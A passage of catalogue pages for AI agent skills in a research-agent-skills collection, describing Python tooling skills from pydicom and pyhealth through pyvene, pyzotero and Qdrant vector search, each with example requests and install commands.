**Includes scripts** **Tags:** DICOM, medical imaging, radiology, de-identification, Python ## When to use it Reads, inspects, writes, and transforms local DICOM files with pydicom 3.x (dcmread, dcmwrite, pydicom.pixels), including metadata, transfer syntaxes, compressed pixel data plugins, frame decoding, private elements, DICOM JSON, and bounded pseudonymization review using bundled helper scripts. Use when extracting aggregate metadata from DICOM datasets without printing PHI, checking which transfer syntaxes and codec plugins a deployment needs, planning frame or memory limits before decoding pixel data, rendering one non-diagnostic frame, compressing or decompressing pixel data, or building and auditing a pseudonymized derivative. Not for diagnostic viewing, or for claiming DICOM PS3.15, HIPAA, or GDPR compliance. ## Example requests Ask your agent in plain language, for example: * *"Can you give me a quick summary of the modalities and transfer syntaxes across the DICOM files in ./scans without dumping any patient info?"* * *"I have a 4D cardiac cine MR series in ./cine/ (about 400 multi-frame files, JPEG 2000 Lossless compressed). Running ds.pixel\_array on one file killed my kernel with a MemoryError, and some files raise 'missing required dependencies' for the pixel handler. Help me work out which codec plugins I need to install and how many frames I can safely decode at a time, then pull out frame 12 of one file as a PNG to eyeball."* * *"I need to share a set of CT studies with an external collaborator for a methods project. Patient names, IDs and dates have to be replaced, but I still want the series and studies to stay linked to each other. How should I go about producing that copy?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pydicom # GitHub CLI gh skill install KalarisLabs/research-agent-skills pydicom ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pydicom/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pyhealth — AI agent skill for clinical and health Source: https://docs.kalarislabs.com/research-agent-skills/skills/pyhealth Builds clinical deep-learning pipelines with PyHealth using its Dataset → Task → Model → Trainer → Metrics pattern. # `pyhealth` **Category:** [clinical-and-health](/research-agent-skills/skills#clinical-and-health) · **License:** MIT · **Version:** 1.1 **Tags:** clinical machine learning, EHR, MIMIC, healthcare AI, deep learning ## When to use it Builds clinical deep-learning pipelines with PyHealth using its Dataset → Task → Model → Trainer → Metrics pattern. Covers loading MIMIC-III/IV, eICU, OMOP, SleepEDF, ChestXray14 and EHRShot data, defining prediction tasks (mortality, readmission, length of stay, drug recommendation, sleep staging, ICD coding, EEG events), models such as Transformer, RETAIN, GAMENet, SafeDrug and StageNet, training with Trainer, and ICD/ATC/NDC/RxNorm code lookup and cross-mapping. Use when building a clinical prediction model on EHR data. Use when working with MIMIC or eICU datasets. Use when recommending drugs or staging sleep from signals. Use when mapping medical codes between ICD, ATC, NDC or RxNorm. Not for generic PyTorch on tabular data. ## Example requests Ask your agent in plain language, for example: * *"I have MIMIC-IV downloaded locally. How do I train a model to predict in-hospital mortality and evaluate it properly?"* * *"My script crashes at `MortalityPredictionMIMIC3(...)` when I run it on `MIMIC4Dataset(root='/data/mimiciv/2.2', tables=['diagnoses_icd','procedures_icd'])`. Then I pass the dataset directly to `Transformer(dataset=base, feature_keys=['conditions','procedures'], label_key='label', mode='binary')` and get an error. Parsing also takes 40 minutes every time I rerun it. What's wrong?"* * *"I've got nightly polysomnography recordings from a sleep clinic as EDF files with technician-scored hypnograms. I want a neural network that labels each 30-second epoch as wake, REM or N1-N3, and I'd like to avoid hand-writing the training loop. What's a good approach?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pyhealth # GitHub CLI gh skill install KalarisLabs/research-agent-skills pyhealth ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `clinical-and-health` category with `/plugin install clinical-and-health@research-agent-skills`. ## Related * [Skills for medicine and clinical research](/research-agent-skills/fields/medicine) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pyhealth/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pylabrobot — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/pylabrobot Develop and review PyLabRobot lab-automation resources, liquid-handling plans, offline simulations, and supported-device integrations. # `pylabrobot` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** lab automation, liquid handling, lab robotics, protocols ## When to use it Develop and review PyLabRobot lab-automation resources, liquid-handling plans, offline simulations, and supported-device integrations. Use for PyLabRobot protocols or API questions; keep physical execution behind an explicit operator safety gate. ## Example requests Ask your agent in plain language, for example: * *"How do I load a 96-well plate onto a Hamilton STAR deck in PyLabRobot?"* * *"I have a manifest.json for a 96-well serial dilution (200 uL tips, 384-well destination plate) that I want to run on our Hamilton Vantage. Can you check the volumes and write the PyLabRobot script? I'm on Windows 11 with Python 3.11. My earlier script failed with 'ImportError: cannot import name ChatterboxBackend'."* * *"We want our liquid-handling robot to automatically cherry-pick hits from a source plate into a new assay plate overnight with no one around. Can you set it up so it just starts running as soon as the script is launched?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pylabrobot # GitHub CLI gh skill install KalarisLabs/research-agent-skills pylabrobot ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`opentrons-integration`](/research-agent-skills/skills/opentrons-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pylabrobot/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pymatgen — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pymatgen Analyzes, validates, converts, and transforms crystal structures and molecules with pymatgen. # `pymatgen` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** materials science, crystal structures, computational materials, VASP, physics ## When to use it Analyzes, validates, converts, and transforms crystal structures and molecules with pymatgen. It covers CIF/POSCAR/XYZ/JSON conversion, symmetry-tolerance sweeps, local phase diagrams from computed entries, VASP and Q-Chem I/O, band structure and DOS parsing, and bounded Materials Project (mp-api) queries. Use when validating a CIF or checking disorder and oxidation states. Use when assigning space groups and testing symprec sensitivity. Use when converting structure files and checking for representation loss. Use when building a convex hull from total energies. Use when querying Materials Project with explicit fields and limits. Not for general molecular dynamics or non-materials cheminformatics. ## Example requests Ask your agent in plain language, for example: * *"Can you sanity-check this CIF before I run anything on it?"* * *"I have LiFePO4\_mp-19017.cif from a collaborator and my VASP relax keeps failing with 'too close atoms'. I need to convert it to POSCAR for VASP. Will anything get lost in the conversion, and can you do it without overwriting the original?"* * *"I computed total energies for Li, Co, O2 and a few LiCoO2 and Li2O polymorphs with the same PBE setup and want to know which phases sit on the hull and how far above it the rest are. How should I do that offline?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pymatgen # GitHub CLI gh skill install KalarisLabs/research-agent-skills pymatgen ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [`protocolsio-integration`](/research-agent-skills/skills/protocolsio-integration) * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pymatgen/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pymc — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/pymc Builds, fits, checks, and compares Bayesian models in Python with PyMC and ArviZ. # `pymc` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache License, Version 2.0 · **Version:** 1.4 · **Includes scripts** **Tags:** Bayesian statistics, MCMC, probabilistic programming, hierarchical models, statistics ## When to use it Builds, fits, checks, and compares Bayesian models in Python with PyMC and ArviZ. Covers hierarchical (multilevel) models, NUTS MCMC sampling, variational inference (ADVI), prior and posterior predictive checks, convergence diagnostics (R-hat, ESS, divergences), and LOO/WAIC model comparison. Use when writing a PyMC model for regression, count, or binary data. Use when fitting a hierarchical model with partial pooling. Use when diagnosing divergences, low ESS, or high R-hat. Use when comparing candidate models with LOO. Use when choosing priors or running prior predictive checks. Not for non-Bayesian regression; use statsmodels or scikit-learn instead. ## Example requests Ask your agent in plain language, for example: * *"Can you help me fit a hierarchical logistic model for patient response across 12 hospitals? I want partial pooling."* * *"My PyMC model on trial\_counts.csv (Poisson likelihood, site random effects) gives 'There were 214 divergences after tuning' and r\_hat of 1.07 for tau. Raising target\_accept to 0.99 didn't help. What should I do?"* * *"I have two candidate models for reaction times in a psychology experiment, one with a per-subject slope and one without. How do I decide which one predicts new subjects better, with uncertainty on the difference, in a Bayesian framework?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pymc # GitHub CLI gh skill install KalarisLabs/research-agent-skills pymc ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pymc/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pymoo — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/pymoo Solves single- and multi-objective optimization problems in Python with pymoo, using NSGA-II, NSGA-III, MOEA/D, SPEA2, RVEA, GA, DE and PSO. # `pymoo` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 license · **Version:** 1.4 · **Includes scripts** **Tags:** multi-objective optimization, evolutionary algorithms, NSGA-II, optimization ## When to use it Solves single- and multi-objective optimization problems in Python with pymoo, using NSGA-II, NSGA-III, MOEA/D, SPEA2, RVEA, GA, DE and PSO. Covers custom problems (Problem, ElementwiseProblem, FunctionalProblem), constraint handling, mixed-variable problems, ZDT/DTLZ/WFG benchmarks, genetic operators, parallel evaluation, Pareto front visualization and multi-criteria decision making. Use when finding Pareto-optimal trade-offs between conflicting objectives. Use when defining a constrained or mixed-variable problem and choosing an evolutionary algorithm. Use when benchmarking algorithms on standard test problems. Use when customizing crossover or mutation operators. Use when picking one solution from a Pareto front. Not for gradient-based or convex solvers. ## Example requests Ask your agent in plain language, for example: * *"How do I get the Pareto front for two conflicting objectives in Python?"* * *"I'm designing a truss in truss\_opt.py. It has 3 variables: a continuous beam thickness, an integer number of struts, and a categorical material (steel, aluminum, titanium). I'm minimizing mass and deflection. Stress must stay under 250 MPa and the deflection limit is a hard constraint. My NSGA-II run keeps crashing with 'ValueError: could not convert string to float' when the material gets sampled. How should I set this up?"* * *"I have a simulation of a bioreactor with 5 competing goals: yield, cost, energy use, waste and run time. I want a spread of good trade-off designs. Then I need to pick a single recipe to run in the lab, and I care most about yield. How should I go about this?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pymoo # GitHub CLI gh skill install KalarisLabs/research-agent-skills pymoo ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pymoo/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pyopenms — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pyopenms Complete mass spectrometry analysis platform. # `pyopenms` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** 3 clause BSD license · **Version:** 2.1 · **Includes scripts** **Tags:** mass spectrometry, proteomics, metabolomics, LC-MS, bioinformatics ## When to use it Complete mass spectrometry analysis platform. Use for proteomics and metabolomics workflows—feature detection, peptide/protein identification, label-free and isobaric quantification, adduct/accurate-mass annotation, and complex LC-MS/MS pipelines. Supports extensive file formats and algorithms. For simple spectral comparison and small-molecule library matching use matchms. ## Example requests Ask your agent in plain language, for example: * *"How do I run untargeted feature detection on a DDA mzML file in Python?"* * *"I have 12 plasma metabolomics runs (QC\_01.mzML ... S10.mzML) from a Q Exactive in positive mode. I need a samples-by-features intensity table across all runs. My old script calling FeatureFinder('centroided') now crashes after I upgraded to pyopenms 3.5. Can you fix this and also group adducts like \[M+Na]+ with \[M+H]+ before annotating against HMDB?"* * *"I ran a database search on my tryptic HeLa digest and got an idXML file. I want to rescore it, keep only peptide hits at 1% FDR, and make sure each spectrum only keeps its best hit. I also have the FASTA I searched against."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pyopenms # GitHub CLI gh skill install KalarisLabs/research-agent-skills pyopenms ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pyopenms/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pysam — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/pysam Python/HTSlib workflows for genomic files. # `pysam` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** SAM/BAM, VCF, genomics, sequencing data, bioinformatics ## When to use it Python/HTSlib workflows for genomic files. Use when reading, querying, filtering, or writing SAM/BAM/CRAM, VCF/BCF, FASTA/FASTQ, or tabix data with pysam, including pileup, coverage, indexing, and CRAM references. ## Example requests Ask your agent in plain language, for example: * *"How do I pull all reads overlapping chr7:55,019,000-55,019,100 from a BAM in Python?"* * *"I have sample42.cram aligned to GRCh38 and I'm getting 'failed to populate reference' when I iterate over it in a script, on a machine with no internet. I want to convert it to BAM and then count per-base depth over chr1:1,000,000-1,000,500, ignoring reads with MAPQ\<20 and bases with Q\<20. What should I do?"* * *"I have a multi-sample VCF and need a smaller file containing only 3 of the cohort's samples, keeping only PASS variants. I'd also like to add a new INFO annotation. I want to do this in Python and keep the output indexed so I can query it by region later."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pysam # GitHub CLI gh skill install KalarisLabs/research-agent-skills pysam ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`polars-bio`](/research-agent-skills/skills/polars-bio) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pysam/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pytdc — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/pytdc Uses the PyTDC package (import tdc, Therapeutics Data Commons) to discover therapeutic ML tasks from tdc.metadata, plan and load approved datasets, apply… # `pytdc` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** therapeutics, drug discovery datasets, benchmarks, machine learning, ADMET ## When to use it Uses the PyTDC package (import tdc, Therapeutics Data Commons) to discover therapeutic ML tasks from tdc.metadata, plan and load approved datasets, apply task-aware splits (random, scaffold, cold\_split, combination, time), run evaluator metrics, evaluate benchmark groups such as admet\_group, and run bounded molecular-oracle scoring. Use when selecting a TDC task or dataset, planning a download-free split, scoring predictions with TDC evaluators, running a benchmark group evaluation, or checking dataset licenses and cache effects before downloading. Use when scoring molecules with TDC oracles like QED. Not for generic RDKit cheminformatics or training molecule generators. ## Example requests Ask your agent in plain language, for example: * *"What TDC tasks exist for toxicity? Don't download anything yet."* * *"I'm working on a Caco2\_Wang permeability model and need a scaffold split with seed 42 for my paper. I'm on Python 3.12 and got `ModuleNotFoundError: No module named 'pkg_resources'` when importing tdc. Can you help me get this working and set up the split? Check the dataset license and how much it will download first."* * *"I have predictions from my model on the 22 ADMET benchmark endpoints from the standard leaderboard and want to get the official scores across five seeds so I can compare against published results. How should I do that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pytdc # GitHub CLI gh skill install KalarisLabs/research-agent-skills pytdc ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pytdc/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pytorch-fsdp2 — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/pytorch-fsdp2 Adds PyTorch FSDP2 (fully_shard) to training scripts with correct init, sharding, mixed precision/offload config, and distributed checkpointing. # `pytorch-fsdp2` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** PyTorch, FSDP2, Fully Sharded Data Parallel, Distributed Training, DTensor, Device Mesh, Sharded Checkpointing, Mixed Precision, Offload, Torch Distributed ## When to use it Adds PyTorch FSDP2 (fully\_shard) to training scripts with correct init, sharding, mixed precision/offload config, and distributed checkpointing. Use when models exceed single-GPU memory or when you need DTensor-based sharding with DeviceMesh. ## Example requests Ask your agent in plain language, for example: * *"convert my train.py to FSDP2"* * *"I'm fine-tuning a 13B Llama in finetune.py on 8xA100 and get CUDA OOM during optimizer.step() with DDP. I'd like to shard params, grads and optimizer state with the new per-parameter DTensor approach (not the old FSDP1 wrapper), use bf16 with fp32 gradient reduction, and save checkpoints that I can reload on a different number of GPUs. Can you update the script?"* * *"My model's weights, gradients and Adam states don't fit in one GPU's memory, but I have a node with 4 GPUs. I want training to split the memory across them while still doing data parallelism, and later I might add tensor parallelism with a 2D device mesh. How should I set up my PyTorch training loop?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pytorch-fsdp2 # GitHub CLI gh skill install KalarisLabs/research-agent-skills pytorch-fsdp2 ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`distributed-llm-pretraining-torchtitan`](/research-agent-skills/skills/distributed-llm-pretraining-torchtitan) * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pytorch-fsdp2/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pytorch-lightning — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/pytorch-lightning Organizes PyTorch training code with the lightning package (PyTorch Lightning): LightningModule, LightningDataModule, Trainer, callbacks such as… # `pytorch-lightning` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** Apache-2.0 license · **Version:** 1.2 · **Includes scripts** **Tags:** PyTorch Lightning, deep learning, model training, multi-GPU, machine learning ## When to use it Organizes PyTorch training code with the lightning package (PyTorch Lightning): LightningModule, LightningDataModule, Trainer, callbacks such as ModelCheckpoint and EarlyStopping, loggers (TensorBoard, W\&B, MLflow, Comet, CSV), and multi-GPU/TPU strategies (DDP, FSDP, DeepSpeed). Use when structuring a PyTorch model into training, validation and test steps. Use when configuring a Trainer for multi-GPU or TPU runs. Use when writing a LightningDataModule for data loading. Use when adding checkpointing, early stopping or experiment logging to a training run. Use when choosing between DDP, FSDP and DeepSpeed for a model size. Not for plain PyTorch loops without Lightning. ## Example requests Ask your agent in plain language, for example: * *"How do I make my PyTorch model stop training when val loss stops improving and keep only the best 3 checkpoints?"* * *"I'm training a 1.3B-parameter transformer defined in model.py on a node with 8x A100 80GB. My current script uses a hand-written train loop and I keep getting 'CUDA out of memory' with DDP. I'd like to move it into LightningModule/Trainer form and shard it. Can you restructure it with bf16 mixed precision and tell me which strategy to use?"* * *"I have a folder of microscopy images with a CSV of labels. I want a reusable class that downloads/prepares them once, makes a reproducible 80/10/10 split, and hands out train, val and test loaders that work on multiple GPUs without each process redoing the preprocessing. How should I structure that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pytorch-lightning # GitHub CLI gh skill install KalarisLabs/research-agent-skills pytorch-lightning ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`deepspeed`](/research-agent-skills/skills/deepspeed) * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) * [`experiment-tracking-swanlab`](/research-agent-skills/skills/experiment-tracking-swanlab) * [`pytorch-lightning-distributed`](/research-agent-skills/skills/pytorch-lightning-distributed) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pytorch-lightning/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pytorch-lightning-distributed — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/pytorch-lightning-distributed High-level PyTorch framework with Trainer class, automatic distributed training (DDP/FSDP/DeepSpeed), callbacks system, and minimal boilerplate. # `pytorch-lightning-distributed` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** PyTorch Lightning, Training Framework, Distributed Training, DDP, FSDP, DeepSpeed, High-Level API, Callbacks, Best Practices, Scalable ## When to use it High-level PyTorch framework with Trainer class, automatic distributed training (DDP/FSDP/DeepSpeed), callbacks system, and minimal boilerplate. Scales from laptop to supercomputer with same code. Use when you want clean training loops with built-in best practices. ## Example requests Ask your agent in plain language, for example: * *"How do I turn my plain PyTorch training loop into a Lightning Trainer setup with DDP on 4 GPUs?"* * *"I'm training a ResNet-50 on my cell-imaging dataset (train.py) on a 2-node cluster, 8 A100s each. Job launched with sbatch but I get 'RuntimeError: Timed out initializing process group in store based barrier' and Lightning seems to spawn extra processes. How do I set up the Trainer so it works across both nodes?"* * *"I want my model training to automatically save the 3 best checkpoints by validation loss, stop if it hasn't improved in 5 epochs, and log the learning rate, without writing all that loop code myself. What's the cleanest way to do it in PyTorch?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pytorch-lightning-distributed # GitHub CLI gh skill install KalarisLabs/research-agent-skills pytorch-lightning-distributed ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`huggingface-accelerate`](/research-agent-skills/skills/huggingface-accelerate) * [`pytorch-lightning`](/research-agent-skills/skills/pytorch-lightning) * [`ray-train`](/research-agent-skills/skills/ray-train) * [`torchforge-rl-training`](/research-agent-skills/skills/torchforge-rl-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pytorch-lightning-distributed/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pyvene-interventions — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/pyvene-interventions Provides guidance for performing causal interventions on PyTorch models using pyvene's declarative intervention framework. # `pyvene-interventions` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Causal Intervention, pyvene, Activation Patching, Causal Tracing, Interpretability ## When to use it Provides guidance for performing causal interventions on PyTorch models using pyvene's declarative intervention framework. Use when conducting causal tracing, activation patching, interchange intervention training, or testing causal hypotheses about model behavior. ## Example requests Ask your agent in plain language, for example: * *"How do I do activation patching with pyvene on GPT-2?"* * *"I'm replicating ROME-style causal tracing on gpt2-xl for the prompt 'The Space Needle is located in the city of'. I corrupted the subject tokens with Gaussian noise, and now I want to restore the clean hidden state at each (layer, token position) and plot a heatmap of the recovered probability for ' Seattle'. I'm using pyvene and getting a dimension mismatch error when I set the intervention location. How should I set this up and fix it?"* * *"I think a model represents whether a number is greater than a threshold in a low-dimensional linear subspace of one layer's residual stream. I want to learn that subspace by training with counterfactual pairs and then test if swapping it flips the model's output. What approach and library setup would you recommend?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pyvene-interventions # GitHub CLI gh skill install KalarisLabs/research-agent-skills pyvene-interventions ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`hypothesis-generation`](/research-agent-skills/skills/hypothesis-generation) * [`langsmith-observability`](/research-agent-skills/skills/langsmith-observability) * [`transformer-lens-interpretability`](/research-agent-skills/skills/transformer-lens-interpretability) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pyvene-interventions/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # pyzotero — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/pyzotero Reads and writes Zotero libraries from Python with pyzotero 1.13.0 and the Zotero Web API v3: items, collections, tags, attachments, saved searches, full-text… # `pyzotero` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.2 **Tags:** Zotero, reference management, citations, BibTeX, literature ## When to use it Reads and writes Zotero libraries from Python with pyzotero 1.13.0 and the Zotero Web API v3: items, collections, tags, attachments, saved searches, full-text content, and BibTeX, CSL-JSON, and bibliography export. Also covers the pyzotero CLI and MCP server for a local Zotero 7. Use when fetching or searching library items programmatically; when creating, updating, or deleting references, collections, or tags; when uploading PDF attachments or downloading files; when exporting citations as BibTeX or CSL-JSON; when building research automation around a Zotero user or group library. Not for formatting citations in a manuscript or verifying references against external databases. ## Example requests Ask your agent in plain language, for example: * *"How do I dump every item in my Zotero library to a BibTeX file with Python?"* * *"I have a group library (the URL is zotero.org/groups/4829311/ml-benchmarks) and a folder of 40 PDFs in ./papers/ named like smith2021.pdf. I want a script that creates a top-level collection called 'Benchmarks 2025', adds a journalArticle item for each PDF with the title taken from the filename, and uploads each PDF as a child attachment. I keep getting a 403 when I try to write. What should I check?"* * *"I keep my reading list in Zotero and want a nightly script that finds everything I tagged 'to-read' more than 30 days ago, moves those papers into an 'Overdue' collection, and then removes the tag. I'm comfortable with Python but haven't touched the Zotero API."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill pyzotero # GitHub CLI gh skill install KalarisLabs/research-agent-skills pyzotero ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`citation-management`](/research-agent-skills/skills/citation-management) * [`literature-review`](/research-agent-skills/skills/literature-review) * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/pyzotero/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # qdrant-vector-search — AI agent skill for knowledge and rag Source: https://docs.kalarislabs.com/research-agent-skills/skills/qdrant-vector-search High-performance vector similarity search engine for RAG and semantic search. # `qdrant-vector-search` **Category:** [knowledge-and-rag](/research-agent-skills/skills#knowledge-and-rag) · **License:** MIT · **Version:** 1.0.0 **Tags:** RAG, Vector Search, Qdrant, Semantic Search, Embeddings, Similarity Search, HNSW, Production, Distributed ## When to use it High-performance vector similarity search engine for RAG and semantic search. Use when building production RAG systems requiring fast nearest neighbor search, hybrid search with filtering, or scalable vector storage with Rust-powered performance. ## Example requests Ask your agent in plain language, for example: * *"How do I set up Qdrant with payload filtering for my paper abstracts?"* * *"I have 2.3M PubMed abstracts embedded with BAAI/bge-base-en-v1.5 (768-d) in embeddings.parquet, with fields year, journal and mesh\_terms. I need to load them into a self-hosted Docker instance and query for nearest neighbors restricted to year >= 2020 and a given journal. My filtered queries are taking several seconds. What should I do?"* 